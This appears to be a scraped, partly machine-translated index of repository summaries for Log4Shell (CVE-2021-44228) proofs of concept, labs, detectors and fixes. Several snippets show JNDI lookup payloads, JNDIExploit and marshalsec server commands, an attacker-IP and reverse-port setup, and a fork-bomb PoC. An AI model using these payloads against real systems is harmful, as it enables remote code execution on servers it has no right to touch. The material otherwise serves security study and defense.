log4j2-CVE-2021-44228

Aplicación vulnerable Log4j2 de muestra CVE-2021-44228 Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.14.1 Esta aplicación se basa en una aplicación web Spring Boot vulnerable a CVE-2021-44228 Utiliza Log4j 2.14.1 a través de spring-boot-starter-log4j2 2.6.1. Ejecutando la...

log4j-cve-2021-44228

Log4j CVE-2021-44228 y CVE-2021-45046 Requisitos Use un JDK vulnerable, por ejemplo JDK 1.8.0181 Uso Servidor malicioso El servidor malicioso despliega los siguientes endpoints: 1389 servidor LDAP 1099 servidor RMI 8081 servidor HTTP ./gradlew :malicious-server:bootRun Aplicación vulnerable La...

CVE-2021-44228-Demo

CVE-2021-44228-Demo 利用 CVE-2021-44228，通过 RMI 和 LDAP 两种方式远程注入代码的示例。 Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer 和 LdapServer 启动依赖 Python3。 参考 Apache...

CVE-2021-44228

CVE-2021-44228 检查器 这是用于检查漏洞 CVE-2021-44228 的仓库。 这是一个仅显示字符串的PoC，不涉及任何外部类加载。它不能用于任意代码执行。 它是如何工作的？ 步骤 1: 运行服务器应用 镜像 ghcr.io/greymd/cve-2021-44228/server 可用，并且可以在Docker上运行。 $ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server 步骤 2: 使用log4j访问端点 准备使用log4j输出日志的代码，并在同一主机上运行。 使输出字符串为...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Apache Log4j LDAP查找漏洞的概念验证 您可以在此处阅读有关该漏洞的更多信息： https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ 如何运行提供的返回恶意对象的LDAP服务器？ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell 概念验证 Apache Log4j2 版本 =2.14.1 在配置、日志消息和参数中使用的 JNDI 功能未对攻击者控制的 LDAP 及其他 JNDI 相关端点进行保护。 当消息查找替换功能启用时，能够控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。 为了帮助客户理解此漏洞的工作原理，我们准备了此仓库，内含一个简单但有效的概念验证。 前提条件 本地已安装： Git JDK 11 Maven Python 目前，该任意代码会在 macOS 或 Windows 上启动计算器应用程序，因此此 PoC...

CVE-2021-44228-Apache-Log4j

CVE-2021-44228（Apache Log4j 远程代码执行） 受影响版本：从 2.0-beta9 到 2.12.1 的所有版本，以及从 2.13.0 到 2.15.0 的所有版本 与 Log4Shell CVE-2021-44228 相关的安全公告 / 通报 使用方法： 1. 下载该项目，编译InjectClazz.java download git clone http://github.com/lonecloud/CVE-2021-44228-Apache-Log4j cd CVE-2021-44228-Apache-Log4j javac InjectClazz.java...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- 渗透测试 1. 创建恶意LDAP服务器（使用Marshalsec） !/bin/bash Script: startldapserver.sh 要求：安装Java和Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ 在端口 $LDAPPORT 上启动恶意LDAP服务器..." java -cp...

test-44228

test-44228 针对 CVE-2021-44228 的简单示例 实现了两个 Java CLI 程序，一个使用 log4j v1.x，另一个使用 log4j 2.x，用以演示 log4shell 漏洞。 另请参阅： https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html 使用方法 存在漏洞的 Log4J2 1. 在某个服务器（localhost 或远程）上启动监听器，例如： $ sudo tcpdump -i an...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: 利用 CVE-2021-44228 漏洞在远程服务器上启动 fork bomb 的示例 1. 创建攻击者的 LDAP 服务器（server 模块），该服务器将提供字符串和代码的表示（payload 模块） 2. 创建受害者示例（victim 模块），并将字符串传递给 Log4j JRE 版本 = 6u211, 7u201, 8u191 和 11.0.1 $jndi:ldap://127.0.0.1:1389/anything $jndi:ldap://127.0.0.1:1389/jar...

log4shell-exploitation-lab

Laboratorio de Explotación Log4Shell CVE-2021-44228 Reproduje la vulnerabilidad Log4Shell de principio a fin en un entorno de laboratorio aislado, desde la explotación inicial hasta un informe de remediación completo. Realizado como parte de un trabajo de máster en pareja con Aditya Chaudhari,...

JNDI-Exploit-1.2-log4shell

JNDI-Exploit-1.2-log4shell 详情 : CVE-2021-44228 用法 : ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip 本地 IP 地址 -l, --ldapPort LDAP 绑定端口（默认：1389） -p, --httpPort HTTP 绑定端口（默认：8080） -u, --usage 显示用法（默认：false） -h, --help 显示此帮助...

log4j-jndi-be-gone

log4j-jndi-be-gone Una corrección basada en agente Java Byte Buddy para CVE-2021-44228, la vulnerabilidad "JNDI LDAP" de log4j 2.x. Hace tres cosas: Deshabilita el manejador de método interno para cadenas de formato jndi: "lookups". Registra un mensaje en System.err es decir, stderr indicando que...

ModSec-log4j2

测试 ModSec 规则 前提条件 已安装 Docker 已在本机安装 Java 执行测试 克隆仓库 执行以下命令启动 WAF（ModSec）和易受攻击的应用 docker stack deploy -c docker-compose.yml WAF 解压仓库中的 JNDIExploit.v1.2.zip，进入文件夹并执行以下命令，其中 $IP 应为本机 IP，不建议使用 127.0.0.1 java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888 要测试 RCE，请执行下面的 curl 命令，将 $IP 替换为本机...

detect-log4j-exploitable

CVE-2021-44228 Un atacante que pueda controlar mensajes de registro o parámetros de mensajes de registro puede ejecutar código arbitrario cargado desde servidores LDAP cuando la sustitución de búsqueda de mensajes está habilitada. Este script ayudará a detectar la explotación de log4j a partir de...

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

CVE-2026-21011 – Inyección JNDI estilo Log4j en un logger personalizado Simulado Código del programa simulación en Java en Python log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern =...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 在 Apache Solr 上 用于在 Docker 中复现和研究 Apache Solr 上 Log4Shell 漏洞的受控环境。 环境 靶机 solr-lab：Apache Solr v8.11.0 vulhub/solr:8.11.0，运行着一个存在漏洞的 Log4j 版本。 攻击机 kali-lab：基础 Kali Linux 容器，预装了 nmap、curl 和 netcat。 如何启动实验室 1. 初始化容器 在您的终端中，将环境在后台启动： docker compose up -d --build 2...

log4j2-test

Comprobación de la vulnerabilidad de ejecución remota de código LDAP en Log4j2 2.14.1 CVE-2021-44228 🎈 Probado en entorno Spring Boot 2.x Aviso de vulnerabilidad https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml: reduce la versión de Log4j2 a una versión vulnerable 17 2.14.1...

log4shell

Log4Shell Este proyecto es una demostración del funcionamiento de la vulnerabilidad de seguridad log4shell. Esta vulnerabilidad está descrita en la CVE-2021-44228. El proyecto está destinado únicamente a fines educativos. Solo debe utilizarse en su propio sistema y únicamente con fines...

log4j-vul

log4j-vul 本项目仅用于演示 Apache Log4j2 漏洞，即 CVE-2021-44228。 Java: java version "1.8.0121" 编译： （在 src 文件夹内） javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 执行/运行： （在 src 文件夹内） java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...